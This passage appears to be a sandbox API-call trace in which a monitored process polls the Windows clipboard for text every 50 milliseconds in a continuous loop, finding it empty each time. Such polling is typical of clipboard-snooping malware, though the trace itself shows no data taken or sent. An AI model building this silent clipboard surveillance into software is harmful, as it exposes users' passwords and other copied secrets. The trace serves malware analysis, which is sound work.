[0243.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec5371bb, dwHighDateTime=0x1d96e12))
[0243.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.883] GetClipboardData (uFormat=0x1) returned 0x0
[0243.883] CloseClipboard () returned 1
[0243.883] Sleep (dwMilliseconds=0x32)
[0243.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec55d3f6, dwHighDateTime=0x1d96e12))
[0243.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.898] GetClipboardData (uFormat=0x1) returned 0x0
[0243.898] CloseClipboard () returned 1
[0243.898] Sleep (dwMilliseconds=0x32)
[0243.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec583641, dwHighDateTime=0x1d96e12))
[0243.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.915] GetClipboardData (uFormat=0x1) returned 0x0
[0243.915] CloseClipboard () returned 1
[0243.915] Sleep (dwMilliseconds=0x32)
[0243.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec5a98d0, dwHighDateTime=0x1d96e12))
[0243.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.930] GetClipboardData (uFormat=0x1) returned 0x0
[0243.930] CloseClipboard () returned 1
[0243.930] Sleep (dwMilliseconds=0x32)
[0243.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec5cfac7, dwHighDateTime=0x1d96e12))
[0243.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.945] GetClipboardData (uFormat=0x1) returned 0x0
[0243.945] CloseClipboard () returned 1
[0243.945] Sleep (dwMilliseconds=0x32)
[0243.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec5f5d45, dwHighDateTime=0x1d96e12))
[0243.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.961] GetClipboardData (uFormat=0x1) returned 0x0
[0243.961] CloseClipboard () returned 1
[0243.961] Sleep (dwMilliseconds=0x32)
[0243.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec61bf84, dwHighDateTime=0x1d96e12))
[0243.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.976] GetClipboardData (uFormat=0x1) returned 0x0
[0243.977] CloseClipboard () returned 1
[0243.977] Sleep (dwMilliseconds=0x32)
[0243.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec642205, dwHighDateTime=0x1d96e12))
[0243.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0243.993] GetClipboardData (uFormat=0x1) returned 0x0
[0243.994] CloseClipboard () returned 1
[0243.994] Sleep (dwMilliseconds=0x32)
[0244.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec668477, dwHighDateTime=0x1d96e12))
[0244.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.008] GetClipboardData (uFormat=0x1) returned 0x0
[0244.008] CloseClipboard () returned 1
[0244.008] Sleep (dwMilliseconds=0x32)
[0244.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec68e680, dwHighDateTime=0x1d96e12))
[0244.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.023] GetClipboardData (uFormat=0x1) returned 0x0
[0244.023] CloseClipboard () returned 1
[0244.023] Sleep (dwMilliseconds=0x32)
[0244.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec6b48e1, dwHighDateTime=0x1d96e12))
[0244.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.040] GetClipboardData (uFormat=0x1) returned 0x0
[0244.040] CloseClipboard () returned 1
[0244.040] Sleep (dwMilliseconds=0x32)
[0244.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec6dab5e, dwHighDateTime=0x1d96e12))
[0244.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.054] GetClipboardData (uFormat=0x1) returned 0x0
[0244.054] CloseClipboard () returned 1
[0244.055] Sleep (dwMilliseconds=0x32)
[0244.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec700db6, dwHighDateTime=0x1d96e12))
[0244.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.072] GetClipboardData (uFormat=0x1) returned 0x0
[0244.072] CloseClipboard () returned 1
[0244.072] Sleep (dwMilliseconds=0x32)
[0244.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec727009, dwHighDateTime=0x1d96e12))
[0244.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.086] GetClipboardData (uFormat=0x1) returned 0x0
[0244.086] CloseClipboard () returned 1
[0244.086] Sleep (dwMilliseconds=0x32)
[0244.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec74d264, dwHighDateTime=0x1d96e12))
[0244.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.101] GetClipboardData (uFormat=0x1) returned 0x0
[0244.101] CloseClipboard () returned 1
[0244.101] Sleep (dwMilliseconds=0x32)
[0244.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec7734c4, dwHighDateTime=0x1d96e12))
[0244.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.118] GetClipboardData (uFormat=0x1) returned 0x0
[0244.118] CloseClipboard () returned 1
[0244.118] Sleep (dwMilliseconds=0x32)
[0244.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec79971b, dwHighDateTime=0x1d96e12))
[0244.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.133] GetClipboardData (uFormat=0x1) returned 0x0
[0244.133] CloseClipboard () returned 1
[0244.133] Sleep (dwMilliseconds=0x32)
[0244.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec7bf972, dwHighDateTime=0x1d96e12))
[0244.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.148] GetClipboardData (uFormat=0x1) returned 0x0
[0244.148] CloseClipboard () returned 1
[0244.148] Sleep (dwMilliseconds=0x32)
[0244.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec7e5b4b, dwHighDateTime=0x1d96e12))
[0244.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.165] GetClipboardData (uFormat=0x1) returned 0x0
[0244.166] CloseClipboard () returned 1
[0244.166] Sleep (dwMilliseconds=0x32)
[0244.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec80be31, dwHighDateTime=0x1d96e12))
[0244.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.180] GetClipboardData (uFormat=0x1) returned 0x0
[0244.180] CloseClipboard () returned 1
[0244.180] Sleep (dwMilliseconds=0x32)
[0244.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec832086, dwHighDateTime=0x1d96e12))
[0244.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.196] GetClipboardData (uFormat=0x1) returned 0x0
[0244.196] CloseClipboard () returned 1
[0244.197] Sleep (dwMilliseconds=0x32)
[0244.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec8582f8, dwHighDateTime=0x1d96e12))
[0244.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.211] GetClipboardData (uFormat=0x1) returned 0x0
[0244.211] CloseClipboard () returned 1
[0244.211] Sleep (dwMilliseconds=0x32)
[0244.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec87e534, dwHighDateTime=0x1d96e12))
[0244.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.226] GetClipboardData (uFormat=0x1) returned 0x0
[0244.226] CloseClipboard () returned 1
[0244.226] Sleep (dwMilliseconds=0x32)
[0244.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec8a4793, dwHighDateTime=0x1d96e12))
[0244.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.243] GetClipboardData (uFormat=0x1) returned 0x0
[0244.243] CloseClipboard () returned 1
[0244.243] Sleep (dwMilliseconds=0x32)
[0244.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec8ca9ec, dwHighDateTime=0x1d96e12))
[0244.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.258] GetClipboardData (uFormat=0x1) returned 0x0
[0244.258] CloseClipboard () returned 1
[0244.258] Sleep (dwMilliseconds=0x32)
[0244.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec8f0c44, dwHighDateTime=0x1d96e12))
[0244.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.273] GetClipboardData (uFormat=0x1) returned 0x0
[0244.273] CloseClipboard () returned 1
[0244.273] Sleep (dwMilliseconds=0x32)
[0244.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec916e9a, dwHighDateTime=0x1d96e12))
[0244.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.290] GetClipboardData (uFormat=0x1) returned 0x0
[0244.290] CloseClipboard () returned 1
[0244.290] Sleep (dwMilliseconds=0x32)
[0244.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec93d0f9, dwHighDateTime=0x1d96e12))
[0244.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.304] GetClipboardData (uFormat=0x1) returned 0x0
[0244.304] CloseClipboard () returned 1
[0244.304] Sleep (dwMilliseconds=0x32)
[0244.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec963354, dwHighDateTime=0x1d96e12))
[0244.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.321] GetClipboardData (uFormat=0x1) returned 0x0
[0244.321] CloseClipboard () returned 1
[0244.322] Sleep (dwMilliseconds=0x32)
[0244.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec9895ae, dwHighDateTime=0x1d96e12))
[0244.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.336] GetClipboardData (uFormat=0x1) returned 0x0
[0244.336] CloseClipboard () returned 1
[0244.336] Sleep (dwMilliseconds=0x32)
[0244.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec9af805, dwHighDateTime=0x1d96e12))
[0244.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.351] GetClipboardData (uFormat=0x1) returned 0x0
[0244.351] CloseClipboard () returned 1
[0244.351] Sleep (dwMilliseconds=0x32)
[0244.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec9d5a69, dwHighDateTime=0x1d96e12))
[0244.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.368] GetClipboardData (uFormat=0x1) returned 0x0
[0244.368] CloseClipboard () returned 1
[0244.368] Sleep (dwMilliseconds=0x32)
[0244.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xec9fbcc0, dwHighDateTime=0x1d96e12))
[0244.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.383] GetClipboardData (uFormat=0x1) returned 0x0
[0244.383] CloseClipboard () returned 1
[0244.383] Sleep (dwMilliseconds=0x32)
[0244.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeca21f14, dwHighDateTime=0x1d96e12))
[0244.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.398] GetClipboardData (uFormat=0x1) returned 0x0
[0244.398] CloseClipboard () returned 1
[0244.398] Sleep (dwMilliseconds=0x32)
[0244.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeca4816d, dwHighDateTime=0x1d96e12))
[0244.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.415] GetClipboardData (uFormat=0x1) returned 0x0
[0244.415] CloseClipboard () returned 1
[0244.415] Sleep (dwMilliseconds=0x32)
[0244.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecb06d50, dwHighDateTime=0x1d96e12))
[0244.496] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.496] GetClipboardData (uFormat=0x1) returned 0x0
[0244.496] CloseClipboard () returned 1
[0244.496] Sleep (dwMilliseconds=0x32)
[0244.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecb2cf95, dwHighDateTime=0x1d96e12))
[0244.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.508] GetClipboardData (uFormat=0x1) returned 0x0
[0244.508] CloseClipboard () returned 1
[0244.508] Sleep (dwMilliseconds=0x32)
[0244.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecb531e6, dwHighDateTime=0x1d96e12))
[0244.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.523] GetClipboardData (uFormat=0x1) returned 0x0
[0244.523] CloseClipboard () returned 1
[0244.523] Sleep (dwMilliseconds=0x32)
[0244.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecb79445, dwHighDateTime=0x1d96e12))
[0244.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.540] GetClipboardData (uFormat=0x1) returned 0x0
[0244.540] CloseClipboard () returned 1
[0244.540] Sleep (dwMilliseconds=0x32)
[0244.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecb9f6b1, dwHighDateTime=0x1d96e12))
[0244.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.554] GetClipboardData (uFormat=0x1) returned 0x0
[0244.554] CloseClipboard () returned 1
[0244.555] Sleep (dwMilliseconds=0x32)
[0244.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecbc58fc, dwHighDateTime=0x1d96e12))
[0244.570] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.570] GetClipboardData (uFormat=0x1) returned 0x0
[0244.570] CloseClipboard () returned 1
[0244.570] Sleep (dwMilliseconds=0x32)
[0244.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecbebb46, dwHighDateTime=0x1d96e12))
[0244.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.586] GetClipboardData (uFormat=0x1) returned 0x0
[0244.586] CloseClipboard () returned 1
[0244.586] Sleep (dwMilliseconds=0x32)
[0244.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecc11da7, dwHighDateTime=0x1d96e12))
[0244.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.601] GetClipboardData (uFormat=0x1) returned 0x0
[0244.602] CloseClipboard () returned 1
[0244.602] Sleep (dwMilliseconds=0x32)
[0244.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecc37fe9, dwHighDateTime=0x1d96e12))
[0244.619] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.619] GetClipboardData (uFormat=0x1) returned 0x0
[0244.619] CloseClipboard () returned 1
[0244.619] Sleep (dwMilliseconds=0x32)
[0244.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecc5e265, dwHighDateTime=0x1d96e12))
[0244.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.632] GetClipboardData (uFormat=0x1) returned 0x0
[0244.633] CloseClipboard () returned 1
[0244.633] Sleep (dwMilliseconds=0x32)
[0244.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecc844b2, dwHighDateTime=0x1d96e12))
[0244.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.648] GetClipboardData (uFormat=0x1) returned 0x0
[0244.648] CloseClipboard () returned 1
[0244.648] Sleep (dwMilliseconds=0x32)
[0244.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeccaa723, dwHighDateTime=0x1d96e12))
[0244.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.671] GetClipboardData (uFormat=0x1) returned 0x0
[0244.671] CloseClipboard () returned 1
[0244.671] Sleep (dwMilliseconds=0x32)
[0244.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeccd0974, dwHighDateTime=0x1d96e12))
[0244.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.681] GetClipboardData (uFormat=0x1) returned 0x0
[0244.681] CloseClipboard () returned 1
[0244.681] Sleep (dwMilliseconds=0x32)
[0244.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeccf6bce, dwHighDateTime=0x1d96e12))
[0244.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.695] GetClipboardData (uFormat=0x1) returned 0x0
[0244.695] CloseClipboard () returned 1
[0244.695] Sleep (dwMilliseconds=0x32)
[0244.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecd1ce26, dwHighDateTime=0x1d96e12))
[0244.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.711] GetClipboardData (uFormat=0x1) returned 0x0
[0244.711] CloseClipboard () returned 1
[0244.711] Sleep (dwMilliseconds=0x32)
[0244.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecd43075, dwHighDateTime=0x1d96e12))
[0244.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.726] GetClipboardData (uFormat=0x1) returned 0x0
[0244.726] CloseClipboard () returned 1
[0244.726] Sleep (dwMilliseconds=0x32)
[0244.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecd692cf, dwHighDateTime=0x1d96e12))
[0244.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.743] GetClipboardData (uFormat=0x1) returned 0x0
[0244.743] CloseClipboard () returned 1
[0244.743] Sleep (dwMilliseconds=0x32)
[0244.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecd8f532, dwHighDateTime=0x1d96e12))
[0244.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.757] GetClipboardData (uFormat=0x1) returned 0x0
[0244.758] CloseClipboard () returned 1
[0244.758] Sleep (dwMilliseconds=0x32)
[0244.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecdb5781, dwHighDateTime=0x1d96e12))
[0244.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.773] GetClipboardData (uFormat=0x1) returned 0x0
[0244.773] CloseClipboard () returned 1
[0244.773] Sleep (dwMilliseconds=0x32)
[0244.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecddb9dd, dwHighDateTime=0x1d96e12))
[0244.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.790] GetClipboardData (uFormat=0x1) returned 0x0
[0244.790] CloseClipboard () returned 1
[0244.790] Sleep (dwMilliseconds=0x32)
[0244.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xece01c3a, dwHighDateTime=0x1d96e12))
[0244.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.804] GetClipboardData (uFormat=0x1) returned 0x0
[0244.804] CloseClipboard () returned 1
[0244.805] Sleep (dwMilliseconds=0x32)
[0244.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xece27e9d, dwHighDateTime=0x1d96e12))
[0244.822] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.822] GetClipboardData (uFormat=0x1) returned 0x0
[0244.822] CloseClipboard () returned 1
[0244.822] Sleep (dwMilliseconds=0x32)
[0244.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xece4e0f3, dwHighDateTime=0x1d96e12))
[0244.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.836] GetClipboardData (uFormat=0x1) returned 0x0
[0244.836] CloseClipboard () returned 1
[0244.836] Sleep (dwMilliseconds=0x32)
[0244.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xece7434c, dwHighDateTime=0x1d96e12))
[0244.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.851] GetClipboardData (uFormat=0x1) returned 0x0
[0244.851] CloseClipboard () returned 1
[0244.851] Sleep (dwMilliseconds=0x32)
[0244.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xece9a5a0, dwHighDateTime=0x1d96e12))
[0244.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.868] GetClipboardData (uFormat=0x1) returned 0x0
[0244.868] CloseClipboard () returned 1
[0244.868] Sleep (dwMilliseconds=0x32)
[0244.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecec0802, dwHighDateTime=0x1d96e12))
[0244.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.883] GetClipboardData (uFormat=0x1) returned 0x0
[0244.883] CloseClipboard () returned 1
[0244.883] Sleep (dwMilliseconds=0x32)
[0244.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecee6a54, dwHighDateTime=0x1d96e12))
[0244.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.898] GetClipboardData (uFormat=0x1) returned 0x0
[0244.898] CloseClipboard () returned 1
[0244.898] Sleep (dwMilliseconds=0x32)
[0244.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecf0ccaf, dwHighDateTime=0x1d96e12))
[0244.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.915] GetClipboardData (uFormat=0x1) returned 0x0
[0244.915] CloseClipboard () returned 1
[0244.915] Sleep (dwMilliseconds=0x32)
[0244.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecf32f0a, dwHighDateTime=0x1d96e12))
[0244.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.930] GetClipboardData (uFormat=0x1) returned 0x0
[0244.930] CloseClipboard () returned 1
[0244.930] Sleep (dwMilliseconds=0x32)
[0244.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecf59167, dwHighDateTime=0x1d96e12))
[0244.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.946] GetClipboardData (uFormat=0x1) returned 0x0
[0244.946] CloseClipboard () returned 1
[0244.947] Sleep (dwMilliseconds=0x32)
[0244.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecf7f3c1, dwHighDateTime=0x1d96e12))
[0244.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.961] GetClipboardData (uFormat=0x1) returned 0x0
[0244.961] CloseClipboard () returned 1
[0244.961] Sleep (dwMilliseconds=0x32)
[0244.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecfa5617, dwHighDateTime=0x1d96e12))
[0244.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.977] GetClipboardData (uFormat=0x1) returned 0x0
[0244.977] CloseClipboard () returned 1
[0244.977] Sleep (dwMilliseconds=0x32)
[0244.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecfcb86d, dwHighDateTime=0x1d96e12))
[0244.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0244.993] GetClipboardData (uFormat=0x1) returned 0x0
[0244.993] CloseClipboard () returned 1
[0244.993] Sleep (dwMilliseconds=0x32)
[0245.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xecff1ad0, dwHighDateTime=0x1d96e12))
[0245.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.008] GetClipboardData (uFormat=0x1) returned 0x0
[0245.008] CloseClipboard () returned 1
[0245.008] Sleep (dwMilliseconds=0x32)
[0245.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed017d25, dwHighDateTime=0x1d96e12))
[0245.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0245.023] GetClipboardData (uFormat=0x1) returned 0x0
[0245.023] CloseClipboard () returned 1
[0245.023] Sleep (dwMilliseconds=0x32)
[0245.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xed03df7b, dwHighDateTime=0x1d96e12))
[0245.040] OpenClipboard (hWndNewOwner=0x0) returned 1
